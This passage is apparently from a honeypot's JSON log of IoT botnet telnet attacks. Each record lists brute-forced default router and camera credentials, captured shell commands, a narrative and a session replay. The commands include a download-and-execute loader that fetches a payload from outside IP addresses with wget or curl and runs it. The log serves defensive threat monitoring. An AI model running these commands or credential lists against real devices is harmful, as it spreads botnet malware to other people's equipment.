botnet"}]}},{"id":"d530a887b6c9","t":"2026-10-22T03:02:41Z","first_t":"2026-10-21T03:07:19Z","repeats":27224,"merged":true,"ip":"42.178.21.152","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"e2008jl","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"Admin","p":"","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"ftp","p":"ftp","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"default","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"super","p":"super","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false}],"attempt_n":[3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":27224,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":769,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x42\\x41\\x42\\x56\\x55\\x47'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x42\\x41\\x42\\x56\\x55\\x47'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.111.36:33179/i ||curl -O http://210.208.111.36:33179/i ||/bin/busybox wget http://210.208.111.36:33179/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x51\\x46\\x42\\x4f\\x55\\x46\\x56'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":7405,"distinct_commands":12,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('BABVUG', 'FQFBOUFV') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 210.208.111[.]36 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":15.9,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[1.665,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n"],[1.71,"-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n"],[1.758,"-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/."],[1.799,"x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x42\\x41\\x42\\x56\\x55\\x47'\n"],[2.805,"BABVUG\nroot@svr04:/var# "],[6.063,"/bin/busybox wget;/bin/busybox echo -ne '\\x42\\x41\\x42\\x56\\x55\\x47'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nBABVUGroot@svr04:/var# "],[6.39,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.111.36:33179/i ||curl -O http://210.208.111.36:33179/i ||/bin/busybox wget http://210.208.111.36:33179/i;chmod 777 i ||(cp /bi"],[6.43,"n/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x51\\x46\\x42\\x4f\\x55\\x46\\x56'\n"],[6.766,"--2026-10-19 15:50:36--  http://210.208.111.36:33179/i\nConnecting to 210.208.111.36:33179... connected.\nHTTP request sent, awaiting response... "],[9.571,"\n"],[11.309,"\n--2026-10-19 15:50:40--  http://210.208.111.36:33179/i\nConnecting to 210.208.111.36:33179... connected.\nHTTP request sent, awaiting response... "],[12.797,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nFQFBOUFV\nroot@svr04:/var# "]],"truncated":false},"key":"777d436a2eae","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"4c505050592b","t":"2026-10-22T03:02:41Z","first_t":"2026-10-21T03:03:33Z","repeats":6434,"merged":true,"ip":"42.58.30.190","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"draytek","p":"1234","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"service","p":"service","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"user","ok":false}],"attempt_n":[3,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":6436,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":135,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x59\\x59\\x50\\x58\\x4f\\x52'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x59\\x59\\x50\\x58\\x4f\\x52'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://220.177.11.230:54471/i ||curl -O http://220.177.11.230:54471/i ||/bin/busybox wget http://220.177.11.230:54471/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x51\\x44\\x58\\x49\\x41\\x44\\x4f'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":1286,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('YYPXOR', 'FQDXIADO') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 220.177.11[.]230 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":41.18,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[4.308,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n"],[4.357,"-bash: config: command not found\nadmin@svr04:~$ system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nadmin@svr04:~$ su\n"],[4.401,"Password: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x"],[4.441,"59\\x59\\x50\\x58\\x4f\\x52'\n"],[5.331,"YYPXOR\nroot@svr04:/var# "],[14.993,"/bin/busybox wget;/bin/busybox echo -ne '\\x59\\x59\\x50\\x58\\x4f\\x52'\n"],[15.049,"wget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nYYPXORroot@svr04:/var# "],[19.539,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://220.177.11.230:54471/i ||curl -O http://220.177"],[19.579,".11.230:54471/i ||/bin/busybox wget http://220.177.11.230:54471/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x51\\x44\\x58\\x49\\x41\\x44\\x4f'\n"],[19.962,"--2026-10-17 18:27:30--  http://220.177.11.230:54471/i\nConnecting to 220.177.11.230:54471... connected.\nHTTP request sent, awaiting response... "],[24.536,"\n"],[25.088,"\n--2026-10-17 18:27:35--  http://220.177.11.230:54471/i\nConnecting to 220.177.11.230:54471... connected.\nHTTP request sent, awaiting response... "],[28.822,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nFQDXIADO\nroot@svr04:/var# "]],"truncated":false},"key":"2cb89d423b47","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"3332efa4ae02","t":"2026-10-22T03:02:41Z","first_t":"2026-10-21T20:28:46Z","repeats":601,"merged":true,"ip":"94.243.12.4","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"anko","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"root","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"user","p":"user","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"guest","p":"12345","ok":true},{"u":"guest","p":"123456","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"zte","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"ubnt","p":"ubnt","ok":false}],"attempt_n":[4,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":601,"distinct_creds":99,"distinct_users":27,"distinct_passwords":77,"got_shell":true,"shell_sessions":21,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x5a\\x4c\\x54\\x54\\x4e'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x5a\\x4c\\x54\\x54\\x4e'","config terminal","enable","linuxshell","sh","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://42.6.201.210:34289/i ||curl -O http://42.6.201.210:34289/i ||/bin/busybox wget http://42.6.201.210:34289/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x49\\x51\\x4a\\x58\\x4e\\x57\\x58\\x4f'","shell"],"command_n":[4,4,4,4,4,4,4,4,4,3,3],"commands_total":202,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('QZLTTN', 'IQJXNWXO') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 42.6.201[.]210 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":46.19,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[7.645,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n"],[7.689,"-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run"],[7.729,"/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x5a\\x4c\\x54\\x54\\x4e'\n"],[8.402,"QZLTTN\nroot@svr04:/var# "],[16.687,"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x5a\\x4c\\x54\\x54\\x4e'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nQZLTTNroot@svr04:/var# "],[24.505,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://42.6.201.210:34289/i ||curl -O http://42.6.201.210:34289/i ||/bin/busybox wget http://42.6.201.210:34289/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x49\\x51\\x4a\\x58\\x4e\\x57\\x58\\x4f'\n"],[24.697,"--2026-10-21 09:58:37--  http://42.6.201.210:34289/i\nConnecting to 42.6.201.210:34289... connected.\nHTTP request sent, awaiting response... "],[27.713,"\n"],[31.423,"\n--2026-10-21 09:58:43--  http://42.6.201.210:34289/i\nConnecting to 42.6.201.210:34289... connected.\nHTTP request sent, awaiting response... "],[32.55,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nIQJXNWXO\nroot@svr04:/var# "]],"truncated":false},"key":"a190438535fd","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"f7d5b733fd00","t":"2026-10-22T03:02:41Z","first_t":"2026-10-21T03:03:22Z","repeats":5683,"merged":true,"ip":"153.117.127.237","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"Admin","p":"","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"guest","p":"12345","ok":true},{"u":"localadmin","p":"localadmin","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"hme12345","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"password","ok":false}],"attempt_n":[2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":5686,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":169,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4a\\x50\\x44\\x4e\\x44\\x4b'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4a\\x50\\x44\\x4e\\x44\\x4b'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://125.46.143.252:37129/i ||curl -O http://125.46.143.252:37129/i ||/bin/busybox wget http://125.46.143.252:37129/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x53\\x45\\x45\\x47\\x4f\\x46\\x51\\x54'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1],"commands_total":1590,"distinct_commands":14,"narrative":["Asked for a shell 7 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('JPDNDK', 'SEEGOFQT') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 125.46.143[.]252 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":4.3,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[0.249,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&"],[0.289,"&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4a\\x50\\x44\\x4e\\x44\\x4b'\n"],[0.669,"JPDNDK\nroot@svr04:/var# "],[1.72,"/bin/busybox wget;/bin/busybox echo -ne '\\x4a\\x50\\x44\\x4e\\x44\\x4b'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nJPDNDKroot@svr04:/var# "],[2.117,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://125.46.143.252:37129/i ||curl -O http://125.46.143.252:37129/i ||/bin/busybox wget http://125.46.143.252:37129/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x53\\x45\\x45\\x47\\x4f\\x46\\x51\\x54'\n"],[2.344,"--2026-10-21 14:40:47--  http://125.46.143.252:37129/i\nConnecting to 125.46.143.252:37129... connected.\nHTTP request sent, awaiting response... "],[2.653,"\n"],[2.961,"\n--2026-10-21 14:40:47--  http://125.46.143.252:37129/i\nConnecting to 125.46.143.252:37129... connected.\nHTTP request sent, awaiting response... "],[3.284,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nSEEGOFQT\nroot@svr04:/var# "]],"truncated":false},"key":"3e37a4f1aef1","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"38c59efb5673","t":"2026-10-22T03:02:41Z","first_t":"2026-10-21T21:16:28Z","repeats":2244,"merged":true,"ip":"188.19.251.35","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"aquario","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"user","p":"user","ok":false},{"u":"ximo","p":"","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"password","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"guest","p":"12345","ok":true},{"u":"guest","p":"guest","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"TeleCom_1234","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"pass","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"root","p":"zte","ok":false},{"u":"support","p":"support123","ok":false}],"attempt_n":[2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2244,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":61,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x4e\\x58\\x59\\x43\\x4c'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x4e\\x58\\x59\\x43\\x4c'","config terminal","enable","linuxshell","sh","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://182.127.80.6:50328/i ||curl -O http://182.127.80.6:50328/i ||/bin/busybox wget http://182.127.80.6:50328/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x47\\x57\\x56\\x5a\\x4b\\x47\\x51\\x4c'","shell"],"command_n":[3,3,3,3,3,3,3,3,3,2,2],"commands_total":583,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('PNXYCL', 'GWVZKGQL') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 182.127.80[.]6 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":36.03,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# 